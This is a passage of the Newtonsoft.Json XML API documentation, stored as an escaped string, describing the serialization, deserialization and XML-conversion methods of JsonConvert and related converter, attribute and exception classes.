name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.String,System.Char,Newtonsoft.Json.StringEscapeHandling)\">\n            <summary>\n            Converts the <see cref=\"T:System.String\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <param name=\"delimiter\">The string delimiter character.</param>\n            <param name=\"stringEscapeHandling\">The string escape handling.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.String\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Object)\">\n            <summary>\n            Converts the <see cref=\"T:System.Object\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Object\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object)\">\n            <summary>\n            Serializes the specified object to a JSON string.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <returns>A JSON string representation of the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.Formatting)\">\n            <summary>\n            Serializes the specified object to a JSON string using formatting.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Serializes the specified object to a JSON string using a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"converters\">A collection of converters used while serializing.</param>\n            <returns>A JSON string representation of the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.Formatting,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Serializes the specified object to a JSON string using formatting and a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"converters\">A collection of converters used while serializing.</param>\n            <returns>A JSON string representation of the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Serializes the specified object to a JSON string using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to serialize the object.\n            If this is <c>null</c>, default serialization settings will be used.</param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,System.Type,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Serializes the specified object to a JSON string using a type, formatting and <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to serialize the object.\n            If this is <c>null</c>, default serialization settings will be used.</param>\n            <param name=\"type\">\n            The type of the value being serialized.\n            This parameter is used when <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.Auto\"/> to write out the type name if the type of the value does not match.\n            Specifying the type is optional.\n            </param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.Formatting,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Serializes the specified object to a JSON string using formatting and <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to serialize the object.\n            If this is <c>null</c>, default serialization settings will be used.</param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,System.Type,Newtonsoft.Json.Formatting,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Serializes the specified object to a JSON string using a type, formatting and <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to serialize the object.\n            If this is <c>null</c>, default serialization settings will be used.</param>\n            <param name=\"type\">\n            The type of the value being serialized.\n            This parameter is used when <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.Auto\"/> to write out the type name if the type of the value does not match.\n            Specifying the type is optional.\n            </param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String)\">\n            <summary>\n            Deserializes the JSON to a .NET object.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Deserializes the JSON to a .NET object using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String,System.Type)\">\n            <summary>\n            Deserializes the JSON to the specified .NET type.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"type\">The <see cref=\"T:System.Type\"/> of object being deserialized.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject``1(System.String)\">\n            <summary>\n            Deserializes the JSON to the specified .NET type.\n            </summary>\n            <typeparam name=\"T\">The type of the object to deserialize to.</typeparam>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeAnonymousType``1(System.String,``0)\">\n            <summary>\n            Deserializes the JSON to the given anonymous type.\n            </summary>\n            <typeparam name=\"T\">\n            The anonymous type to deserialize to. This can't be specified\n            traditionally and must be inferred from the anonymous type passed\n            as a parameter.\n            </typeparam>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"anonymousTypeObject\">The anonymous type object.</param>\n            <returns>The deserialized anonymous type from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeAnonymousType``1(System.String,``0,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Deserializes the JSON to the given anonymous type using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <typeparam name=\"T\">\n            The anonymous type to deserialize to. This can't be specified\n            traditionally and must be inferred from the anonymous type passed\n            as a parameter.\n            </typeparam>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"anonymousTypeObject\">The anonymous type object.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n            <returns>The deserialized anonymous type from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject``1(System.String,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Deserializes the JSON to the specified .NET type using a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of the object to deserialize to.</typeparam>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"converters\">Converters to use while deserializing.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject``1(System.String,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Deserializes the JSON to the specified .NET type using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of the object to deserialize to.</typeparam>\n            <param name=\"value\">The object to deserialize.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String,System.Type,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Deserializes the JSON to the specified .NET type using a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"type\">The type of the object to deserialize.</param>\n            <param name=\"converters\">Converters to use while deserializing.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String,System.Type,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Deserializes the JSON to the specified .NET type using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"type\">The type of the object to deserialize to.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.PopulateObject(System.String,System.Object)\">\n            <summary>\n            Populates the object with values from the JSON string.\n            </summary>\n            <param name=\"value\">The JSON to populate values from.</param>\n            <param name=\"target\">The target object to populate values onto.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.PopulateObject(System.String,System.Object,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Populates the object with values from the JSON string using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The JSON to populate values from.</param>\n            <param name=\"target\">The target object to populate values onto.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXmlNode(System.Xml.XmlNode)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.XmlNode\"/> to a JSON string.\n            </summary>\n            <param name=\"node\">The node to serialize.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXmlNode(System.Xml.XmlNode,Newtonsoft.Json.Formatting)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.XmlNode\"/> to a JSON string using formatting.\n            </summary>\n            <param name=\"node\">The node to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXmlNode(System.Xml.XmlNode,Newtonsoft.Json.Formatting,System.Boolean)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.XmlNode\"/> to a JSON string using formatting and omits the root object if <paramref name=\"omitRootObject\"/> is <c>true</c>.\n            </summary>\n            <param name=\"node\">The node to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"omitRootObject\">Omits writing the root object.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXmlNode(System.String)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.XmlNode\"/> from a JSON string.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <returns>The deserialized <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXmlNode(System.String,System.String)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.XmlNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <returns>The deserialized <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXmlNode(System.String,System.String,System.Boolean)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.XmlNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>\n            and writes a Json.NET array attribute for collections.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <param name=\"writeArrayAttribute\">\n            A value to indicate whether to write the Json.NET array attribute.\n            This attribute helps preserve arrays when converting the written XML back to JSON.\n            </param>\n            <returns>The deserialized <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXmlNode(System.String,System.String,System.Boolean,System.Boolean)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.XmlNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>,\n            writes a Json.NET array attribute for collections, and encodes special characters.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <param name=\"writeArrayAttribute\">\n            A value to indicate whether to write the Json.NET array attribute.\n            This attribute helps preserve arrays when converting the written XML back to JSON.\n            </param>\n            <param name=\"encodeSpecialCharacters\">\n            A value to indicate whether to encode special characters when converting JSON to XML.\n            If <c>true</c>, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify\n            XML namespaces, attributes or processing directives. Instead special characters are encoded and written\n            as part of the XML element name.\n            </param>\n            <returns>The deserialized <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXNode(System.Xml.Linq.XObject)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.Linq.XNode\"/> to a JSON string.\n            </summary>\n            <param name=\"node\">The node to convert to JSON.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXNode(System.Xml.Linq.XObject,Newtonsoft.Json.Formatting)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.Linq.XNode\"/> to a JSON string using formatting.\n            </summary>\n            <param name=\"node\">The node to convert to JSON.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXNode(System.Xml.Linq.XObject,Newtonsoft.Json.Formatting,System.Boolean)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.Linq.XNode\"/> to a JSON string using formatting and omits the root object if <paramref name=\"omitRootObject\"/> is <c>true</c>.\n            </summary>\n            <param name=\"node\">The node to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"omitRootObject\">Omits writing the root object.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXNode(System.String)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.Linq.XNode\"/> from a JSON string.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <returns>The deserialized <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXNode(System.String,System.String)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.Linq.XNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <returns>The deserialized <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXNode(System.String,System.String,System.Boolean)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.Linq.XNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>\n            and writes a Json.NET array attribute for collections.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <param name=\"writeArrayAttribute\">\n            A value to indicate whether to write the Json.NET array attribute.\n            This attribute helps preserve arrays when converting the written XML back to JSON.\n            </param>\n            <returns>The deserialized <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXNode(System.String,System.String,System.Boolean,System.Boolean)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.Linq.XNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>,\n            writes a Json.NET array attribute for collections, and encodes special characters.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <param name=\"writeArrayAttribute\">\n            A value to indicate whether to write the Json.NET array attribute.\n            This attribute helps preserve arrays when converting the written XML back to JSON.\n            </param>\n            <param name=\"encodeSpecialCharacters\">\n            A value to indicate whether to encode special characters when converting JSON to XML.\n            If <c>true</c>, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify\n            XML namespaces, attributes or processing directives. Instead special characters are encoded and written\n            as part of the XML element name.\n            </param>\n            <returns>The deserialized <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConverter\">\n            <summary>\n            Converts an object to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConverter.CanRead\">\n            <summary>\n            Gets a value indicating whether this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can read JSON.\n            </summary>\n            <value><c>true</c> if this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can read JSON; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConverter.CanWrite\">\n            <summary>\n            Gets a value indicating whether this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON.\n            </summary>\n            <value><c>true</c> if this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConverter`1\">\n            <summary>\n            Converts an object to and from JSON.\n            </summary>\n            <typeparam name=\"T\">The object type to convert.</typeparam>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.WriteJson(Newtonsoft.Json.JsonWriter,`0,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.ReadJson(Newtonsoft.Json.JsonReader,System.Type,`0,System.Boolean,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read. If there is no existing value then <c>null</c> will be used.</param>\n            <param name=\"hasExistingValue\">The existing value has a value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConverterAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to use the specified <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> when serializing the member or class.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConverterAttribute.ConverterType\">\n            <summary>\n            Gets the <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConverterAttribute.ConverterParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> described by <see cref=\"P:Newtonsoft.Json.JsonConverterAttribute.ConverterType\"/>.\n            If <c>null</c>, the default constructor is used.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverterAttribute.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonConverterAttribute\"/> class.\n            </summary>\n            <param name=\"converterType\">Type of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverterAttribute.#ctor(System.Type,System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonConverterAttribute\"/> class.\n            </summary>\n            <param name=\"converterType\">Type of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.</param>\n            <param name=\"converterParameters\">Parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>. Can be <c>null</c>.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConverterCollection\">\n            <summary>\n            Represents a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonDictionaryAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> how to serialize the collection.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonDictionaryAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonDictionaryAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonDictionaryAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonDictionaryAttribute\"/> class with the specified container Id.\n            </summary>\n            <param name=\"id\">The container Id.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonException\">\n            <summary>\n            The exception thrown when an error occurs during JSON serialization or deserialization.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonException\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonException\"/> class\n            with a specified error message.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonException.#ctor(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonException\"/> class.\n            </summary>\n            <param name=\"info\">The <see cref=\"T:System.Runtime.Serialization.SerializationInfo\"/> that holds the serialized object data about the exception being thrown.</param>\n            <param name=\"context\">The <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> that contains contextual information about the source or destination.</param>\n            <exception cref=\"T:System.ArgumentNullException\">The <paramref name=\"info\"/> parameter is <c>null</c>.</exception>\n            <exception cref=\"T:System.Runtime.Serialization.SerializationException\">The class name is <c>null</c> or <see cref=\"P:System.Exception.HResult\"/> is zero (0).</exception>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonExtensionDataAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to deserialize properties with no matching class member into the specified collection\n            and write values during serialization.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonExtensionDataAttribute.WriteData\">\n            <summary>\n            Gets or sets a value that indicates whether to write extension data when serializing the object.\n            </summary>\n            <value>\n            \t<c>true</c> to write extension data when serializing the object; otherwise, <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonExtensionDataAttribute.ReadData\">\n            <summary>\n            Gets or sets a value that indicates whether to read extension data when deserializing the object.\n            </summary>\n            <value>\n            \t<c>true</c> to read extension data when deserializing the object; otherwise, <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonExtensionDataAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonExtensionDataAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonIgnoreAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> not to serialize the public field or public read/write property value.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonNameTable\">\n            <summary>\n            Base class for a table of atomized string objects.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonNameTable.Get(System.Char[],System.Int32,System.Int32)\">\n            <summary>\n            Gets a string containing the same characters as the specified range of characters in the given array.\n            </summary>\n            <param name=\"key\">The character array containing the name to find.</param>\n            <param name=\"start\">The zero-based index into the array specifying the first character of the name.</param>\n            <param name=\"length\">The number of characters in the name.</param>\n            <returns>A string containing the same characters as the specified range of characters in the given array.</returns>\n        